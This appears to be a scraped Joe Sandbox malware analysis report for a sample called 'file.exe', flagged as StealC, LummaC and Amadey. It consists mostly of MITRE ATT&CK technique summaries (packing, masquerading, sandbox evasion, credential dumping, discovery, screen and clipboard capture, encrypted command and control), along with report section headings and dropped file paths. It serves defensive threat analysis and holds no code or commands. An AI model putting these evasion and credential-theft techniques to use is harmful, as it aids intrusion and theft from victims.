Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\DBKEHDGD

C:\ProgramData\EGDBFIIECBGDGDGDHCAK

C:\ProgramData\FBGHCGCAEBFIJKFIDBGHDGHCGH

C:\ProgramData\HJDBKJKFIECAAAKFBFBF

C:\ProgramData\IIIECAAK

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre